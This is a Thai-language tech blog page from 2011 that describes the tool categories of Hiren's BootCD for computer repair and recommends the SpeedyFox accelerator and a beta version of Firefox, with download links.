หรือถ้าตั้งเป็น Manual พอจะใช้งานครั้งหนึ่ง ก็ต้องเสียเวลามารัน Service อีก ดังนั้น ได้อย่างก็ต้องเสียอย่าง แต่สำหรับคนที่รู้อยู่แล้วว่าตัวเองต้องใช้งานอะไรบ้าง ก็สามารถปิดส่วนที่ตน เองไม่ใช้งานจริงๆ และปรับเป็น Manual ในส่วนที่ใช้งานนานๆ ทีได้ เพียงแค่นี้ก็น่าจะเพิ่มความเร็วให้กับเครื่องคอมพิวเตอร์ได้อีกไม่มากก็ น้อยล่ะครับ

ที่มาข้อมูล http://www.masternewmedia.org/

Credit   computers-tick.blogspot.com
Debit      All Admin In Thailand


หลังจากนั้นเข้าโรงพยาบาลทั้งคู่





Lady GaGa หัวทิ่ม



เรื่องจริงของชีวิต





ยอดซามูไร






ถอยออกไป เตียงหล่น




หนังสั้น ของจริง







วันพุธที่ 8 มิถุนายน พ.ศ. 2554

hiren boot cd version ใหม่ๆ จาก Web โดยตรง ช่อมฮารด์ดิส ฯลฯ


Hiren’s BootCD 14.0 ใหม่สุดตอนนี้ เอาไว้ซ่อมฮาร์ดดิส

Fri, May 27, 2011

Hiren boot ประกอบด้วยอะไรบ้าง? (อันนี้ ของ version 10.1 ดาวโหลด http://www.mediafire.com/?lm3y2ycoiwn)
1.Partition Tools : เครื่องมือจัดการ และแบ่งพาร์ติชัน
2.Backup Tools : เครื่องมือสำหรับ แบ็คอัพสำรองข้อมูล
3.Password & registry Tools... : เครื่องมือช่วยในเรื่องจัดการ Password และ registry
4.Recovery Tools : เครื่องมือสำหรับกู้มูลที่เผลอ Format หรือลบทิ้งโดยบังเอิญ
5.Testing Tools : เครื่องมือตรวจสอบ และวินิจฉัยอาการเสียของฮาร์ดแวร์
6.Hard Disk Tools : เครื่องมือวินิจฉัยอาการตายของฮาร์ดไดรว์ และกู้ชีวิตฮาร์ดดิสก์ให้กลับคืน
7.System Information Tools : เครื่องมือสำหรับแจ้งรายละเอียดเกี่ยวกับตัวอุปกรณ์
8.File Managers Tools... : เครื่องมืออุปกรณ์จัดการเรื่อง ไฟล์ ไฟล์ นั่นเอง
9.MBR (Master Boot Record) Tools : เครื่องมือสำหรับกู้ ซ่อมและมาร์กตำแหน่ง MBR ฮาร์ดไดรว์
10.BIOS / CMOS Tools : เครื่องมือสำหรับปลดรหัสผ่านไบออส และกู้การ Flash ไบออสผิดเวอร์ชัน
11.MultiMedia Tools : เครื่องมือสำหรับเปิดดูไฟล์หนังและภาพ ผ่าน DoS โดยไม่เปิดเข้า Windows
12.NTFS Ext2FS, Ext3FS (FileSystems) Tools... : เครื่องมือสำหรับเข้าถึงระบบไฟล์แบบ NTFS ผ่าน DoS
13. Other Tools : รวมเครื่องมืออื่นๆ
14. DOS Tools : รวมเครื่องมือบน DOS

Hiren's Boot คือ เครื่องมือ(Tool) ที่เอาใว้ช่วยงานช่างคอมพิวเตอร์
แต่เดิมสมัยก่อน จะใช้แผ่นดิสเก็ท(ไดรเวอร์ A:\)หรือ ใช้คําสั่ง FDISK (เอฟดิสค์)
ในการเข้าไปใช้หน้าต่างที่ คอมมานพรอม หรือดอส เพื่อตรวจสอบหรือแก้ปัญหา
ของคอมพิวเตอร์โดยจะมีเครื่องมือ เช่น

1.เครื่องมือตรวจสอบฮาร์สดิสค์ สแกน เซ็คแบด เซ็คเตอร์ บน HDD ซ่อมแซมฮาร์สดิสค์
ในกรณีที่ HDD เกิดการ ERROR ต่างๆ
2.เครื่องมือจัดการพาทิชั่น เช่น การแบ่ง และฟอร์แมท และคอนเวิร์ท HDD
3.เครื่องมือสแกนไวรัส นอกวินโดวส์ พวกไวรัสที่ติดในมาสเตอร์บู๊ทเรคคอร์ด
4.เครื่องมือในการโคลน HDD บีบอิมเมจไฟล์ สํารองวินโดส์เอาใว้ใช้ยามฉุกเฉิน
5.เครื่องมือกู้ข้อมูลนอกระบบปฏิบัติการ
6.เครื่องมือแก้ไขค่า และตรวจสอบ Sytem ของระบบปฏิบัติการ และเน็ทเวิร์ค
ตรวจสอบฮาร์ดแวร์ เช่น ตรวจสอบการทํางานของหน่วยความจําเป็นต้น
7.เวอร์ชั่นหลังๆ จะะมีระบบปฏิบัติการ จําลองมาด้วย เผื่อเอาใว้ยามฉุกเฉินเพื่อเข้าไป
จัดการ และสํารองไฟล์ต่างๆในกรณี รันเข้าระบบปฏิบัติการหลักไม่ได้





ดาวโหลดของใหม่สุด version 14.0 เพิ่มเครื่องมืออีกมากมาย


http://www.hirensbootcd.org/download/




Debit  All Admin In Thailand



แฟนปุ้น ครับผม

วันอังคารที่ 7 มิถุนายน พ.ศ. 2554

เร่งความเร็วให้หมาไฟ ด้วย SpeedyFox 1.6 เพิ่งออกต้นเดือนมกราคม ปีนี้

SpeedyFox 1.6

ออกเมื่อ 2 ม.ค.54 โปรแกรมเร่งความเร็วในการเล่นอินเตอร์เน็ต แบบแรงสุดๆ ให้Firefox ของคุณ
จะสามารถเห็นความต่างได้ชัดเจน

วิธีใช้งาน
ต้องลงโปรแกรม speedyfox ก่อน แล้วค่อยเปิด Firefox ตาม ถ้าเปิดอยู่ให้ปิดก่อน สำหรับผู้ใช้วินโดวส์ 32BIT ทั่วๆไป
แต่สำหรับวินโดวส์ 64 BIT ต้องปิดกระบวนการทำงาน Firefox ใน Task Menager ด้วย กด Ctrl+Alt+Delete  ในช่อง Processes ให้เลือก firefox.exe แล้ว End Process

โปรแกรมมีขนาดเล็ก แค่ 460 k ไม่ถึง 1 MB

หรือจะใช้ในระบบปฏิบัติการบน Max OS X ก็ได้ เลือกโหลดเอา







ดาวน์โหลด

http://www.crystalidea.com/speedyfox


แล้วอย่าลืม upgrade your firefox เป็น version 5.0 Beta 3 อีกไม่นานจะเป็นตัวเต็มของ version 5 ไว้ก่อน เพราะอีกหน่อย google จะใช้ HTML5 จะทำให้ Browser ตัวอื่นไม่สามารถทำงานได้ นอกจาก ie8 , chrome และ firefox version 4 ขึ้นไป

ดาวโหลด
http://www.filehippo.com/download_firefox/

Credit  Every One In Thailand
Debit  All Admin In Thailand


โดย ปิง เองครับผม